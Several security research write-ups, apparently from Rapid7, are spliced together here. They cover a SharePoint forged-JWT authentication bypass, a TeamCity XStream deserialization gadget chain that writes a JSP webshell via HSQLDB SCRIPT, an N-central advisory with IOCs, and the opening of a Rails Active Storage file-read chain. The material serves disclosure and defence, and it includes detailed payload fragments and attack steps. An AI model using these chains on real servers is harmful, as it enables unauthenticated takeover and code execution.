For completeness, the parsed x509 certificate is shown below.
Version: 3 (0x02)
Serial number: 146220597266833583330723281767636346549 (0x6e01100b8cc8f7ba4c87b5a476c326b5)
Algorithm ID: SHA256withRSA
Validity
Not Before: 11/03/2026 20:26:53 (dd-mm-yyyy hh:mm:ss) (260311202653Z)
Not After: 01/01/9999 00:00:00 (dd-mm-yyyy hh:mm:ss) (99990101000000Z)
Issuer
C = US
O = Microsoft
OU = SharePoint
CN = SharePoint Root Authority
Subject
C = US
O = Microsoft
OU = SharePoint
CN = SharePoint Security Token Service
Fingerprints
MD5: 8c72ddcf6fdf2bdf3cc173bfcff88bf4
SHA1: 8bf833e6a7d8a7960f5802b5fffd188599e2a4b2
SHA256: 9d8a6b787ca17ba72b44200d20d689fae33d13fb57fb166563d11e98d247068c
Public Key
Algorithm: RSA
Length: 2048 bits
Modulus: d8:f1:13:6f:d1:55:1d:82:60:6e:6c:c0:07:60:12:3c:
9e:ed:69:59:4c:14:0c:9c:b0:0c:8c:0a:c6:0a:0b:ba:
ed:ba:59:de:ad:4c:c9:e4:e4:56:fb:91:85:53:fa:0c:
3e:c1:d5:bc:d0:37:8e:53:ff:65:03:24:8a:6a:df:85:
11:21:2e:c2:85:0a:6c:93:f5:2a:4e:af:6e:eb:d6:c9:
8a:1f:cf:dd:62:f6:80:97:5f:3a:80:47:50:30:36:c3:
06:af:59:c0:b3:35:51:6c:f6:93:ad:c8:9d:a2:6b:d3:
d8:3c:d0:e1:80:56:d8:81:ad:0c:91:29:5c:87:12:ac:
de:13:e4:1e:1b:34:7f:b6:ad:79:35:d6:f6:47:1b:b7:
37:d5:8f:d5:b8:0c:32:6c:b1:a7:77:04:98:a2:24:fc:
69:33:a0:9c:7b:04:07:d8:ea:66:38:a9:92:29:f0:9e:
8c:21:93:57:7a:2e:c3:da:c2:6e:97:fb:2f:33:ed:2a:
a4:56:03:1d:a8:a5:41:e6:00:0c:10:25:1e:76:fd:2a:
19:dd:be:01:6f:f6:8f:c0:db:93:73:4d:5b:75:dd:74:
20:72:7b:6c:10:3f:41:9e:8a:84:23:72:f7:83:2b:85:
34:9f:ed:ea:26:33:b0:1b:46:38:ff:b2:5e:c7:f2:15
Exponent: 65537 (0x10001)
Certificate Signature
Algorithm: SHA256withRSA
Signature: 3d:7c:3b:4d:d5:3a:53:d8:a3:db:cb:a2:ad:49:b8:a1:
09:3a:42:d7:71:e3:61:bc:24:d9:33:e3:8a:05:e2:cd:
62:7d:a3:83:2c:aa:a0:5c:25:62:1d:1a:34:6c:98:f7:
28:0c:f5:69:25:94:76:57:7f:c2:b3:b0:f7:db:5b:c4:
f9:9e:f6:c7:7c:8a:51:cd:eb:57:ca:8d:43:f3:97:b3:
4c:c8:0f:39:f3:de:45:9c:0e:49:eb:6b:0a:70:f8:e6:
ba:c0:c7:0f:55:a3:49:80:3e:cb:8e:cb:fc:8d:ea:95:
40:8b:f6:73:8f:86:a8:c7:37:86:c4:41:82:55:ed:cf:
57:fb:d9:66:9c:ad:50:06:6a:ad:8d:0f:83:cb:cb:62:
7b:a0:7d:5c:ab:d2:66:06:fc:72:55:5c:ee:95:de:1b:
79:38:7a:a3:6a:8b:c0:2d:80:ba:16:e9:49:93:ff:bb:
57:ce:aa:2d:0b:da:32:06:67:80:dd:47:1a:8f:df:47:
27:fe:33:04:de:dc:3a:32:0b:ef:cc:4d:61:db:3c:0c:
85:44:a8:6a:99:14:bd:f4:b8:eb:c9:9c:47:9c:02:6b:
47:6c:c8:39:c9:7d:a8:3b:4a:75:d4:f4:8c:f8:95:48:
88:2e:e0:58:29:5f:69:9d:13:6b:4b:4b:1b:95:5d:99:
7d:30:7f:39:b1:4b:e8:c1:10:5a:af:15:40:37:04:5b:
82:95:07:9a:98:a7:6f:20:11:3b:70:55:c6:fc:cb:a3:
a4:26:e8:88:b3:f4:a9:d6:54:84:65:1d:b8:58:b2:f7:
8b:c7:d2:8c:4a:40:56:55:2d:3e:b6:4f:87:0d:6c:cb:
b4:58:61:8e:63:ae:cd:f2:9f:54:2b:35:2f:2d:58:ac:
d0:59:d1:d6:74:2f:cb:84:89:49:db:78:90:1c:d4:50:
0e:36:cf:bd:2f:fc:00:a9:cc:72:d7:b0:44:e2:97:e3:
27:19:b4:d7:31:f1:06:57:39:7e:b3:6f:bd:4a:ee:0e:
a5:3b:43:7b:c0:08:31:d0:cf:a0:7f:2e:68:79:25:2c:
5e:b9:15:43:ca:6b:e6:87:1a:54:c1:f5:53:f2:63:24:
82:fb:e3:c2:20:f2:2b:6b:fb:b1:8d:bd:b5:57:e1:81:
3d:4f:18:81:b1:6c:3a:20:8d:17:7e:80:70:66:a4:b2:
48:9e:82:18:3d:ec:40:47:ba:6c:d0:ba:83:e7:9e:f0:
a4:91:1a:f6:ff:15:39:f5:8c:70:d3:57:92:e3:6a:5f:
54:d7:89:95:70:c6:2b:01:2d:02:23:75:17:09:1a:cb:
62:62:ed:da:bf:c1:7b:45:cb:93:ac:54:19:5e:ad:e7
Extensions
keyUsage CRITICAL:
digitalSignature,keyEncipherment
extKeyUsage :
serverAuth, clientAuth
basicConstraints CRITICAL:
{}
Using the above x509 certificate, we can compute the x5t by base64 decoding the entire x509 certificate, computing the SHA1 digest value, then base64 encoding that raw digest value. In our example we get an x5t value of i_gz5qfYp5YPWAK1__0YhZnipLI. We can also see we discover the target realm (af90cc03-4a26-45e9-906a-609cebcebbde) which we will use later in the forged JWT.
We then begin to construct the malicious JWT. The outer token will have a header of:
{"alg": "none", "typ": "JWT"}
The payload is shown below. The audience (aud) claim contains the target systems hostname (win-b0i6kv698ls) and realm. The issuer (iss) claim is 00000003-0000-0ff1-ce00-000000000000 which is the well known SharePoint principal application ID. The Name ID (nameid) represent the SharePoint user we will identify as, in our example we use a SID of S-1-5-21-4203888158-2793536450-3921675298-500 which represent the domain admin that we want to authenticate as using the urn:office:idp:activedirectory identity provider. Finally an inner actortoken token is base64 encoded.
As an aside, we discover the target SID to use by first contacting the target SharePoint servers domain controller over SMB. We can use an SMB NULL session to query the LSARPC named pipe and learn the domain’s Domain ID value. Then by appending Relative Identifier (RID) values (e.g. 500, 1000, 1001, 1002, …) to the Domain ID, we can construct potential user SIDs to authenticate as. By repeating this process we iterate over all users and discover which ones are valid site user administrators. It is worth pointing out that the forged JWT does not solely require a Windows SID, and we can also identify a user via a User Principal Name (UPN), e.g. [email protected] or similar. However, discovering a valid SID is more reliable in an automated scenario (assuming you can access the domain controller) than brute forcing potential UPN’s, which is best suited to manual reconnaissance.
Inspecting the inner actortoken token, it will have a header as shown below, which includes the x5t value i_gz5qfYp5YPWAK1__0YhZnipLI corresponding to the SharePoint server’s STS signing certificate.
The inner actortoken token will have a payload as shown below. Note the nameid of this token is the same as the issuer of the STS certificate, this allows a call to SPJsonWebSecurityBaseTokenHandlerV2.ValidateActorIsSelfIssuer to succeed.
And a signature which is an arbitrary non-empty string:
AAAA
Constructing the above JWT, we can base64 encode it as a bearer token and make a request to an authenticated endpoint, such as /_api/web/currentuser and prove we are authenticating as a SharePoint user.
The following response shows this has worked, and the user we identified as is in fact a SharePoint site administrator (The returned IsSiteAdmin value is true).
To begin to interact with the target SharePoint site as this user we can acquire a new form digest value via a POST request to the /_api/contextinfo endpoint.
With authentication bypassed, and with a valid form digest, the remote attacker can begin to interact with the authenticated attack surface of the target SharePoint site.
Upcoming webinar
Interested in the AI tooling leveraged throughout the research process? Join Rapid7’s Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. Register here.
On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unsafe deserialization vulnerability affecting JetBrains TeamCity. An attacker who can reach a TeamCity server over HTTP or HTTPS can exploit the agent polling protocol without credentials and execute operating system commands with the privileges of the TeamCity server process.
JetBrains reported no known active exploitation when it disclosed the vulnerability. However, on August 5, 2026, CISA added CVE-2026-63077 to its Known Exploited Vulnerabilities (KEV) catalog, confirming exploitation in the wild.
Our analysis finds that a vulnerable TeamCity server creates a permissive XStream allowlist. This allowlist is intended to restrict which Java classes can be deserialized when servicing unauthenticated agent requests. However, this allowlist incorrectly adds TeamCity protocol classes without removing XStream’s existing default permissions. This introduces an unsafe deserialization issue. A patched TeamCity server remediates this by adding NoTypePermission.NONE before the TeamCity allowlist, which removes the default permissions and makes the allowlist exclusive.
Rapid7 Labs has verified that the patch successfully remediates the exploit described in this analysis. A proof-of-concept script for CVE-2026-63077 can be found here.
Analysis
Our analysis compares a vulnerable TeamCity version 2026.1.2 against a patched version 2026.1.3.
TeamCity uses a central server to coordinate builds and separate build agents to run them. An agent can communicate with the server through the agent polling protocol: it registers, asks the server for its next command, and reports whether that command succeeded or failed. The endpoints under /app/agents/v1 support this agent communication channel rather than the TeamCity web interface or REST API. A TeamCity-AgentSessionId HTTP header value identifies a polling connection, but it does not mean that either a user or agent has authenticated to TeamCity, as access to many agent endpoints remains unauthenticated.
XStream is a Java library that converts object graphs to XML and reconstructs those graphs from XML. An object graph can contain nested objects, collection entries, private fields, and references to an object that appeared earlier in the document. XStream aliases give Java types shorter XML names. For example, <linked-hash-map> is XStream’s alias for java.util.LinkedHashMap. Nested element names and class attributes select other concrete Java types, while reference attributes point back to objects that XStream has already constructed. Converters and reflection-based code then allocate the selected types and populate their fields.
Patch diff
The class jetbrains.buildServer.messages.XStreamHolder is TeamCity’s wrapper for creating and configuring XStream instances. TeamCity 2026.1.2 creates an instance of XStreamHolder, configures it, and then calls setupSecurityIfNeeded(). If the TeamCity allowlists contain entries, this method adds those entries to the permissions that XStream already installed:
The calls at [1] and [2] do not start from an empty permission set. The bundled XStream 1.4.20.3 constructor has already called setupSecurity(), which permits several broad type hierarchies, including Map and Throwable:
// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;
public class XStream {
// ...
protected void setupSecurity() {
if (this.securityMapper == null)
return;
addPermission(NoTypePermission.NONE); // <--- Clears all existing permissions
addPermission(NullPermission.NULL);
addPermission(PrimitiveTypePermission.PRIMITIVES);
addPermission(ArrayTypePermission.ARRAYS);
addPermission(InterfaceTypePermission.INTERFACES);
allowTypeHierarchy(Calendar.class);
allowTypeHierarchy(Collection.class);
allowTypeHierarchy(Map.class); // <--- Map is allowed
allowTypeHierarchy(Map.Entry.class);
allowTypeHierarchy(Member.class);
allowTypeHierarchy(Number.class);
allowTypeHierarchy(Throwable.class); // <--- Throwable is allowed
allowTypeHierarchy(TimeZone.class);
// ...
Therefore, even though TeamCity has not explicitly allowed any types, several allowed types are already present on the permission list due to XStream’s defaults. This is enough to lead to unsafe deserialization.
The patch from version 2026.1.3 can be seen in the diff below and shows how these default allowed types are now cleared by TeamCity:
XStream’s SecurityMapper.addPermission() clears its permission list when it receives NoTypePermission.NONE. The allowTypes calls that follow [3] now operate on a deny-by-default baseline, i.e., Map and Throwable are no longer allowed types. The TeamCityProperties.getBooleanOrTrue() call at [4] means the new property defaults to true, so clearing the permission list at [3] will now occur by default on a patched server.
Root cause
The missing XStream class type permission reset is the root cause of CVE-2026-63077. TeamCity treats the configured classes as an allowlist, but XStream evaluates them alongside its earlier default permissions. In Java, a type hierarchy permission covers implementations and subclasses, not only the named type. Permitting Map therefore covers classes that implement Map such as LinkedHashMap, while permitting Throwable covers exception subclasses such as RuntimeException. These broad permissions expose enough object construction and reconstruction callbacks to assemble a working gadget chain.
The exploit also depends on how XStream’s reflection converter handles declared fields and object references. Java reflection lets code inspect a class’s field definitions at runtime and assign values to an object’s fields. An explicitly represented class name or class attribute passes through SecurityMapper.realClass(). By contrast, an exact declared field already provides its Java type, allowing XStream to allocate that field without a second explicit type lookup. An XPath reference can then reuse the allocated object without another type check when the reference omits the redundant concrete class attribute. In this context, XPath is an address within the XML object graph, not a query against TeamCity data.
Applied here, this allows a deserialization payload that begins with TeamCity’s HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. Because it is a non-static inner class, it has a compiler-generated field pointing to its enclosing HSQLMetadataStorage instance. From there, the exact declared fields myHSQLStorage and myDataSource lead XStream to an org.apache.commons.dbcp2.BasicDataSource. XStream follows those field types without resolving BasicDataSource from an explicit element name or class attribute, even though TeamCity 2026.1.2 rejects that class when the XML names it directly. The patched version 2026.1.3 stops the chain earlier by rejecting SchemaMismatchException, which is absent from TeamCity’s explicit protocol allowlist.
Triggering the vulnerability
First, the server accepts an agent registration request via an HTTP POST to the /app/agents/v1/register endpoint, and returns a new session identifier in the TeamCity-AgentSessionId response header.
The attacker then sends arbitrary XML to the error command endpoint with that server-issued session header via an HTTP POST to the /app/agents/v1/commands/error endpoint. The handler for this endpoint is the method handleCommands, shown below. This will validate the incoming request’s TeamCity-AgentSessionId header before calling the handler for the error command.
// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
HttpServletRequest request,
HttpServletResponse response,
String[] path) throws Exception {
String sessionId = request.getHeader("TeamCity-AgentSessionId");
BuildAgentEx agent =
sessionId != null ? findAgentBySessionId(sessionId) : null; // <--- validate agent session ID
// This check occurs before the vulnerable handler is reached.
if (agent == null) {
response.setStatus(401);
response.getWriter().write("Agent's session is not found");
return null;
}
PollingRemoteAgentConnection connection =
(PollingRemoteAgentConnection) agent.getConnection();
if (path.length == 4) {
String operation = path[3];
if (operation.equals("error")) {
getCommandsProcessor().handleCommandIsFailedRequest(
connection, request, response
); // <--- call the error handler
}
}
return null;
}
The method handleCommandIsFailedRequest will then proceed to unsafely deserialize the incoming request’s XML body.
Error.fromXml() calls XStreamWrapper.deserializeObject(). By providing a suitable gadget chain in the incoming request’s XML body, we can achieve unauthenticated RCE via unsafe deserialization.
The gadget chain
The gadget chain’s objective is to make TeamCity call BasicDataSource.getConnection() on an attacker-configured object. That getter starts the following path from deserialization to command execution:
The payload reconstructs a BasicDataSource configured to use TeamCity’s bundled HSQLDB driver.
A collection callback causes FreeMarker to resolve the JavaBean property connection, which invokes BasicDataSource.getConnection().
Apache DBCP opens a new in-memory HSQLDB database and executes the SQL in connectionInitSqls.
The final SQL statement uses HSQLDB’s SCRIPT command to write a malicious JSPWS file into TeamCity’s webroot.
The attacker makes an HTTP request to that JSP file, executing the script’s contents server-side, for example Runtime.getRuntime().exec() can be used to execute an attacker-controlled OS command.
The first four steps occur while TeamCity handles the malicious XML request. The fifth requires a second HTTP request. The object graph exists to solve two problems in the first two steps: XStream rejects BasicDataSource when the XML names it directly, and merely constructing a datasource does not call its getConnection() method.
Object graph construction
The payload’s XML root is a three-entry LinkedHashMap. Entry one constructs and configures the datasource without naming its concrete class in a new XML node. Entry two presents that datasource to FreeMarker as an object whose properties can be read by name. Entry three forces a lookup of the property named connection.
Figure 1: High-level gadget chain flow to BasicDataSource.getConnection().
The entries appear in this order in the XML because the later entries refer to objects created by the earlier ones. XStream reconstructs them in document order, and the LinkedHashMap retains their insertion order in the resulting Java object.
Entry one: construct and configure the datasource
The first entry begins with HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. It is a non-static Java inner class, which means the compiler gives each instance a hidden this$0 field pointing to its enclosing HSQLMetadataStorage object. XStream serializes that compiler-generated reference as outer-class.
The enclosing HSQLMetadataStorage declares a field named myHSQLStorage with the exact type HSQLStorage. That class, in turn, declares myDataSource with the exact type BasicDataSource. Because the XML does not represent either field with a new element type or class attribute, XStream follows the declared Java field types without performing another explicit lookup for those classes:
XStream encodes the dollar sign in a Java inner-class name as _- when it creates an XML element name. The element ending in HSQLMetadataStorage_-SchemaMismatchException therefore identifies the Java class HSQLMetadataStorage$SchemaMismatchException.
Entry two: expose the datasource through FreeMarker
The first entry leaves a configured datasource in memory, but nothing has called it. The second entry makes its JavaBean properties available through a FreeMarker HashAdapter. HashAdapter extends AbstractMap, so XStream accepts the explicit class under its default Map hierarchy permission.
The adapter needs a FreeMarker model that can read properties from the datasource. The payload creates a BooleanModel through the exact BeansWrapper.falseModel field, then populates the model’s inherited BeanModel.object field with a reference to the BasicDataSource in entry one instead of a Boolean value. Finally, HashAdapter.model refers to that BooleanModel:
<freemarker.ext.beans.HashAdapter>
<wrapper>
<!-- Class-introspection state from the PoC is omitted here. -->
<falseModel>
<object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
<wrapper reference="../.."/>
<value>false</value>
</falseModel>
<!-- Remaining BeansWrapper state from the PoC is omitted here. -->
</wrapper>
<model reference="../wrapper/falseModel"/>
</freemarker.ext.beans.HashAdapter>
The reference attributes preserve object identity rather than create copies. BooleanModel.object points to the existing datasource, HashAdapter.model points to the existing BooleanModel, and BooleanModel.wrapper points back to the same BeansWrapper. No reference introduces a new concrete class node. In particular, <object> does not repeat the BasicDataSource type, so XStream does not perform a new explicit lookup for that denied class. The shared BeansWrapper supplies the class introspection used later to resolve the connection property.
Entry three: trigger the property lookup
The graph can now resolve datasource properties, but it still needs an automatic callback to request one. The third entry uses a HashSet, accepted under XStream’s default Collection hierarchy permission, and a Commons Collections TiedMapEntry, accepted under the default Map.Entry hierarchy permission. A TiedMapEntry ties a key to a backing map. Here, its map field refers to the HashAdapter from entry two, and its key is the string connection:
The reference value is relative to the nested <map> element. Four ../ steps return to the LinkedHashMap root, and XPath’s one-based entry[2] index selects the second entry. Reusing that adapter preserves its connection to the BooleanModel and, through the model, to the datasource from entry one.
Object construction now ends with one continuous route: TiedMapEntry to HashAdapter, HashAdapter to BooleanModel, and BooleanModel to BasicDataSource. At this point, no database connection has opened yet. The gadget chain triggers when XStream inserts the TiedMapEntry into the HashSet.
Triggering gadget execution
A HashSet stores elements by hash. When XStream inserts the reconstructed TiedMapEntry, HashSet.add() automatically calls TiedMapEntry.hashCode(). That method calls getValue(), which performs map.get(key) against the referenced HashAdapter with connection as the key. It is worth noting that this is a mechanism very similar to that used by the classic CommonsCollections6 ysoserial gadget. However, the existing CommonsCollections6 gadget cannot be used because TeamCity’s XStream permissions reject the ChainedTransformer and InvokerTransformer classes used by CommonsCollections6.
The resulting call to HashAdapter.get(“connection”) passes the property name connection to the referenced BooleanModel. BooleanModel inherits FreeMarker’s BeanModel property lookup. JavaBeans use a naming convention in which a property named connection can be read through a public getConnection() method, so FreeMarker invokes BasicDataSource.getConnection().
A Java DataSource is a factory for Java Database Connectivity (JDBC) connections. BasicDataSource is the Apache Commons Database Connection Pooling (DBCP) implementation bundled with TeamCity. The payload configures it to load TeamCity’s bundled HyperSQL Database (HSQLDB) driver and connect to a new in-memory database at a randomized jdbc:hsqldb:mem: URL. This database is separate from TeamCity’s application database and requires no TeamCity database credentials. DBCP then runs the attacker-controlled connectionInitSqls, a list of SQL statements intended to initialize each new connection.
The initialization SQL creates a table containing a JSP scriptlet and asks HSQLDB to serialize the database to an attacker-selected path:
CREATE TABLE IF NOT EXISTS T<RANDOM>(C<RANDOM> VARCHAR(4000))
INSERT INTO T<RANDOM> VALUES ('<% ... Runtime.getRuntime().exec(command) ... %>')
SCRIPT '../webapps/ROOT/<random-hex>.jspws'
HSQLDB’s SCRIPT statement writes a textual representation of the in-memory database to the supplied path. The payload places a JavaServer Pages (JSP) scriptlet inside a table row, so the resulting SQL script is also a valid JSP template (i.e. a polyglot). This mechanism is similar to the one used by Secfault Security as part of a LibreOffice exploit.
Executing a JSP payload
Apache Jasper is the JSP engine in TeamCity’s servlet container. It compiles JSP source code into Java servlet code that handles an HTTP request, then runs that code inside the TeamCity server’s Java process. Whether a path reaches Jasper depends on the servlet mappings in WEB-INF/web.xml. TeamCity defines realJspServlet as Jasper’s org.apache.jasper.servlet.JspServlet, then maps the custom *.jspws extension directly to it. By contrast, TeamCity sends ordinary *.jsp requests to its buildServer dispatcher:
The buildServer servlet does not dispatch every direct .jsp request to Jasper. The corresponding JspController.doHandle() method first requires an internal TeamCity request, an authenticated TeamCity user, or an explicit configuration property that permits direct JSP requests. If these are not present, it returns HTTP 403 before the JSP runs:
We therefore target .jspws, as this allows a direct anonymous request to reach Jasper, compile the newly written file and execute it. This allows us to execute arbitrary Java such as Runtime.getRuntime().exec() which in turn can deliver the payload.
Exploitation
A proof-of-concept script for CVE-2026-63077 can be found here. Organizations can use this script to validate their detection and remediation posture. The exploit script will leverage the gadget chain described in this analysis to write a malicious JSPWS file in order to execute an arbitrary command, before deleting the JSPWS file from disk. An example of its operation is shown below in Figure 2.
Figure 2: Proof-of-concept exploitation.
The vendor-supplied patch, version 2026.1.3, has been verified to successfully prevent the unsafe deserialization of the gadget chain presented in this analysis. The teamcity-server.log file on a patched system shows the new XStream NoTypePermission.NONE added by the patch to effectively prevent the gadget chain’s first entry, HSQLMetadataStorage$SchemaMismatchException, from having its type successfully resolved.
[2026-08-07 01:53:09,794] ERROR - jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:58356, user-agent "Python-urllib/3.10", no auth
com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException
at com.thoughtworks.xstream.security.NoTypePermission.allows(NoTypePermission.java:26)
at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:74)
at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:125)
at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:47)
...
IOC
On an exploited system, the TeamCity server logs will contain detailed exception traces due to the deserialization gadget causing a Java exception to be thrown. For example, in the log file C:\TeamCity\logs\teamcity-server.log the following may be present. This identifies the vulnerable URI path, the attacker’s IP address, and an exception that correlates to the gadget chain being used for exploitation. Note: the full stack trace has been removed for brevity:
[2026-08-07 00:36:36,467] ERROR - jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.converters.ConversionException:
---- Debugging information ----
cause-exception : freemarker.template.utility.UndeclaredThrowableException
cause-message : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class : java.util.HashSet
required-type : java.util.HashSet
converter-type : com.thoughtworks.xstream.converters.collections.CollectionConverter
path : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number : 104
class[1] : java.util.LinkedHashMap
required-type[1] : java.util.LinkedHashMap
converter-type[1] : com.thoughtworks.xstream.converters.collections.MapConverter
version : 2026.1-222647
-------------------------------; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:52728, user-agent "Python-urllib/3.10", no auth
com.thoughtworks.xstream.converters.ConversionException:
---- Debugging information ----
cause-exception : freemarker.template.utility.UndeclaredThrowableException
cause-message : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class : java.util.HashSet
required-type : java.util.HashSet
converter-type : com.thoughtworks.xstream.converters.collections.CollectionConverter
path : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number : 104
class[1] : java.util.LinkedHashMap
required-type[1] : java.util.LinkedHashMap
converter-type[1] : com.thoughtworks.xstream.converters.collections.MapConverter
version : 2026.1-222647
-------------------------------
at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:81)
at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
...
A similar exception in a javaLogging file (for example, C:\TeamCity\logs\teamcity-javaLogging-2026-08-07.log) will also show the gadget chain’s JSPWS payload as part of an org.hsqldb.HsqlException message:
07-Aug-2026 00:36:36.462 SEVERE [http-nio-8111-exec-4] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [buildServer] in context with path [] threw exception [Request processing failed; nested exception is com.thoughtworks.xstream.converters.ConversionException:
---- Debugging information ----
cause-exception : freemarker.template.utility.UndeclaredThrowableException
cause-message : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class : java.util.HashSet
required-type : java.util.HashSet
converter-type : com.thoughtworks.xstream.converters.collections.CollectionConverter
path : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number : 104
class[1] : java.util.LinkedHashMap
required-type[1] : java.util.LinkedHashMap
converter-type[1] : com.thoughtworks.xstream.converters.collections.MapConverter
version : 2026.1-222647
-------------------------------] with root cause
org.hsqldb.HsqlException: file input/output error: ../webapps/ROOT/682aed03b49b.jspws already exists
at org.hsqldb.error.Error.error(Unknown Source)
...
Remediation
For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-63077, which contains further details.
On August 2, 2026, N-able published a security advisory for CVE-2026-18577, an authentication bypass vulnerability affecting N-central that was discovered being exploited in-the-wild after an incomplete fix for an earlier authentication bypass issue, CVE-2026-18556 was disclosed. CVE-2026-18577 allows a remote unauthenticated attacker to bypass authentication and obtain administrative control of vulnerable N-central servers in affected deployments.
N-able N-central is a widely deployed Remote Monitoring and Management (RMM) platform used by managed service providers (MSPs) and enterprise IT teams to centrally administer servers, workstations, network devices, and other managed assets. Because the platform operates with extensive administrative privileges across customer environments, successful compromise of an N-central server can provide attackers with an efficient path to compromise downstream managed systems.
According to N-able, exploitation of CVE-2026-18577 has been observed in the wild since August 1, 2026. Following successful exploitation, attackers leveraged the platform’s Take Control functionality to remotely access managed endpoints, and deployed Cloudflare Tunnel (cloudflared) to establish persistent remote access. On August 3, 2026, CVE-2026-18577 was added to CISA’s Known Exploited Vulnerability (KEV) catalog.
Mitigation guidance
Organizations operating vulnerable N-central deployments should prioritize remediation on an urgent basis, outside of normal patching schedules. Hosted N-central environments are upgraded automatically by the vendor, while on-premise deployments require manual remediation.
Affected versions:
All versions of N-able N-central up to and including version 2026.3.1, prior to Hotfix 1.
Fixed version:
N-able N-central 2026.3.1 Hotfix 1 (2026.3.1.7).
The vendor also recommends:
Upgrading N-central agents after applying the server hotfix.
Reviewing systems for indicators of compromise.
Contacting N-able Support immediately if evidence of compromise is discovered.
Engaging internal incident response teams if malicious activity is identified.
N-able has published several artifacts that administrators should investigate during incident response.
Endpoint Artifacts:
Presence of a Cloudflared service.
A suspicious svchost.exe located within the user’s Documents folder.
Network Indicators:
Administrators should review historical network logs for inbound or outbound communication involving the malicious IP addresses identified by the vendor:
173[.]249[.]252[.]200
87[.]249[.]138[.]34
37[.]19[.]210[.]32
37[.]153[.]90[.]88
92[.]118[.]112[.]181
68[.]235[.]46[.]214
Organizations should also review:
Authentication logs
Administrative account creation or modification
Take Control session activity
Remote management logs
Windows service installation events
To assist affected organizations running N-central, the vendor has provided a detection template for CVE-2026-18577, which organizations can use to help identify potential compromise.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-18577 with a vulnerability check expected to be available in the August 4 content release. Note that potential check type must be enabled in the scan template before scanning.
On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, an arbitrary file read in Active Storage applications that use the Vips image processor with untrusted uploads. The affected Active Storage ranges are < 7.2.3.2, >= 8.0, < 8.0.5.1, and >= 8.1, < 8.1.3.1. Vips is the default Active Storage variant processor for applications that load Rails 7.0 or later defaults. Rails 6 applications are affected only when they explicitly configure Vips.
Our Emergent Threat Response blog covers the affected versions, mitigation guidance, and current exploitation status. This post traces the request from the direct-upload endpoint to the HDF5 read, then shows how the arbitrary file read can expose Rails signing material and become code execution. A vulnerable application can disclose arbitrary files before the attacker has recovered a Rails secret or forged a token. A genuine Active Storage variation_key from the same application, paired with a direct-upload blob whose stored content_type claims to be an image, is enough to reach a libvips loader that turns a crafted MAT/HDF5 file into an arbitrary file-read oracle.
We reproduced the published chain against Rails 6.0.6.1, 6.1.7.10, 7.2.3.1, 8.0.5, and 8.1.3, and confirmed that patched 7.2.3.2, 8.0.5.1, and 8.1.3.1 targets block the crafted representation. We also validated a remote code execution (RCE) path that uses only JSON-compatible Hash, Array, and String values in a signed variation. That path reaches Kernel#spawn or Kernel#eval through ImageProcessing’s chain builder, and it worked when Rails was configured with config.active_support.message_serializer = :json.
The advisory covers the vulnerable Active Storage configuration. The MAT/HDF5 representation chain shown here has narrower requirements. The deployed libvips build must expose matload with MAT 7.3/HDF5 support, the application must preserve an attacker-supplied content_type, and the attacker must be able to trigger a representation, for example with a genuine variation key. Those requirements narrow where this particular chain works, but the underlying issue is that Active Storage handed untrusted uploads to libvips operations that libvips already marked unsafe for untrusted content.
The attack can be summarized as follows:
[Attacker]
|
| 1. Creates a direct-upload blob with content_type = image/png
v
[Rails stores the blob as an image without examining the bytes]
|
| 2. Reuses a genuine variation_key from the same application
v
[Rails accepts the blob as variable and starts a representation]
|
| 3. image_processing hands the local tempfile path to libvips
v
[libvips matload]
|
| 4. Bytes 0-9 match "MATLAB 5.0"
v
[libmatio]
|
| 5. Bytes 124-125 contain MAT_FT_MAT73 (0x0200)
v
[HDF5 external storage]
|
| 6. Dataset bytes come from attacker-chosen path + offset
v
[Rendered PNG representation]
|
--> Target file bytes are returned as image pixels
Analysis
